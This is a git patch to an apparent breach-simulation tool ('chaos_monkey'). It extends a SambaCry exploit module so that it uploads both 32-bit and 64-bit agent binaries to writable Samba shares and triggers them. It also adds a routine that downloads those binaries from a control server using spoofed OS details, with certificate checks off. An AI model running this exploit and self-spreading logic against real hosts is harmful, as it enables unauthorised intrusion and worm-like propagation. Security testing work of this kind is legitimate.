From c8d7a2c4d3be1ca0388cbe6327fb310fe6cf1fde Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 3 Sep 2017 11:50:01 +0300 Subject: [PATCH] SambaCry now works for both 32,64bit --- chaos_monkey/control.py | 98 +++++++++++++++++++++++++------- chaos_monkey/exploit/sambacry.py | 21 ++++--- chaos_monkey/exploit/tools.py | 3 + 3 files changed, 93 insertions(+), 29 deletions(-) diff --git a/chaos_monkey/control.py b/chaos_monkey/control.py index cdeb47a76..c2acaa25a 100644 --- a/chaos_monkey/control.py +++ b/chaos_monkey/control.py @@ -156,11 +156,80 @@ class ControlClient(object): @staticmethod def download_monkey_exe(host): + filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host(host) + if filename is None: + return None + return ControlClient.download_monkey_exe_by_filename(filename, size) + + @staticmethod + def download_monkey_exe_by_os(is_windows, is_32bit): + filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host_dict( + ControlClient.spoof_host_os_info(is_windows, is_32bit)) + if filename is None: + return None + return ControlClient.download_monkey_exe_by_filename(filename, size) + + @staticmethod + def spoof_host_os_info(is_windows, is_32bit): + if is_windows: + os = "windows" + if is_32bit: + arc = "x86" + else: + arc = "amd64" + else: + os = "linux" + if is_32bit: + arc = "i686" + else: + arc = "x86_64" + + return \ + { + "os": + { + "type": os, + "machine": arc + } + } + + @staticmethod + def download_monkey_exe_by_filename(filename, size): if not WormConfiguration.current_server: - return None + return None + try: + dest_file = monkeyfs.virtual_path(filename) + if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)): + return dest_file + else: + download = requests.get("https://%s/api/monkey/download/%s" % + (WormConfiguration.current_server, filename), + verify=False, + proxies=ControlClient.proxies) + + with monkeyfs.open(dest_file, 'wb') as file_obj: + for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK): + if chunk: + file_obj.write(chunk) + file_obj.flush() + if size == monkeyfs.getsize(dest_file): + return dest_file + + except Exception, exc: + LOG.warn("Error connecting to control server %s: %s", + WormConfiguration.current_server, exc) + + @staticmethod + def get_monkey_exe_filename_and_size_by_host(host): + return ControlClient.get_monkey_exe_filename_and_size_by_host_dict(host.as_dict()) + + @staticmethod + def get_monkey_exe_filename_and_size_by_host_dict(host_dict): + if not WormConfiguration.current_server: + return None, None try: reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,), - data=json.dumps(host.as_dict()), + data=json.dumps(host_dict), headers={'content-type': 'application/json'}, verify=False, proxies=ControlClient.proxies) @@ -168,30 +237,17 @@ class ControlClient(object): result_json = reply.json() filename = result_json.get('filename') if not filename: - return None + return None, None size = result_json.get('size') - dest_file = monkeyfs.virtual_path(filename) - if monkeyfs.isfile(dest_file) and size == monkeyfs.getsize(dest_file): - return dest_file - else: - download = requests.get("https://%s/api/monkey/download/%s" % - (WormConfiguration.current_server, filename), - verify=False, - proxies=ControlClient.proxies) - - with monkeyfs.open(dest_file, 'wb') as file_obj: - for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK): - if chunk: - file_obj.write(chunk) - file_obj.flush() - if size == monkeyfs.getsize(dest_file): - return dest_file + return filename, size + else: + return None, None except Exception, exc: LOG.warn("Error connecting to control server %s: %s", WormConfiguration.current_server, exc) - - return None + + return None, None @staticmethod def create_control_tunnel(): diff --git a/chaos_monkey/exploit/sambacry.py b/chaos_monkey/exploit/sambacry.py index d0a751bbf..ff4fe41cc 100644 --- a/chaos_monkey/exploit/sambacry.py +++ b/chaos_monkey/exploit/sambacry.py @@ -18,7 +18,7 @@ import monkeyfs from exploit import HostExploiter from model import DROPPER_ARG from network.smbfinger import SMB_SERVICE -from tools import build_monkey_commandline +from tools import build_monkey_commandline, get_target_monkey_by_os __author__ = 'itay.mizeretz' @@ -30,12 +30,12 @@ class SambaCryExploiter(HostExploiter): SambaCry exploit module, partially based on the following implementation by CORE Security Technologies' impacket: https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py """ - # TODO: is this credit sufficient? _target_os_type = ['linux'] def __init__(self): self._config = __import__('config').WormConfiguration + def exploit_host(self, host, depth=-1, src_path=None): if not self.is_vulnerable(host): return False @@ -47,7 +47,7 @@ class SambaCryExploiter(HostExploiter): host.services[SMB_SERVICE]["shares"] = {} for share in writable_shares_creds_dict: host.services[SMB_SERVICE]["shares"][share] = {"creds": writable_shares_creds_dict[share]} - self.try_exploit_share(host, share, writable_shares_creds_dict[share], src_path, depth) + self.try_exploit_share(host, share, writable_shares_creds_dict[share], depth) # Wait for samba server to load .so, execute code and create result file. time.sleep(self._config.sambacry_trigger_timeout) @@ -70,7 +70,7 @@ class SambaCryExploiter(HostExploiter): LOG.info("No shares triggered successfully on host %s" % host.ip_addr) return False - def try_exploit_share(self, host, share, creds, monkey_bin_src_path, depth): + def try_exploit_share(self, host, share, creds, depth): """ Tries exploiting share :param host: victim Host object @@ -81,7 +81,7 @@ class SambaCryExploiter(HostExploiter): """ try: smb_client = self.connect_to_server(host.ip_addr, creds) - self.upload_module(smb_client, host, share, monkey_bin_src_path, depth) + self.upload_module(smb_client, host, share, depth) self.trigger_module(smb_client, share) smb_client.close() except (impacket.smbconnection.SessionError, SessionError): @@ -238,7 +238,7 @@ class SambaCryExploiter(HostExploiter): return writable - def upload_module(self, smb_client, host, share, monkey_bin_src_path, depth): + def upload_module(self, smb_client, host, share, depth): """ Uploads the module and all relevant files to server :param smb_client: smb client object @@ -258,8 +258,13 @@ class SambaCryExploiter(HostExploiter): with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file: smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_64, monkey_runner_bin_file.read) - with monkeyfs.open(monkey_bin_src_path, "rb") as monkey_bin_file: - # TODO: Fix or postpone 32/64 architecture problem. + monkey_bin_32_src_path = get_target_monkey_by_os(False, True) + monkey_bin_64_src_path = get_target_monkey_by_os(False, False) + + with monkeyfs.open(monkey_bin_32_src_path, "rb") as monkey_bin_file: + smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_32, monkey_bin_file.read) + + with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file: smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_64, monkey_bin_file.read) smb_client.disconnectTree(tree_id) diff --git a/chaos_monkey/exploit/tools.py b/chaos_monkey/exploit/tools.py index 2ed5837f9..97ed8cb8b 100644 --- a/chaos_monkey/exploit/tools.py +++ b/chaos_monkey/exploit/tools.py @@ -442,6 +442,9 @@ def get_target_monkey(host): return monkey_path +def get_target_monkey_by_os(is_windows, is_32bit): + from control import ControlClient + return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit) def build_monkey_commandline(target_host, depth, location=None): from config import WormConfiguration, GUID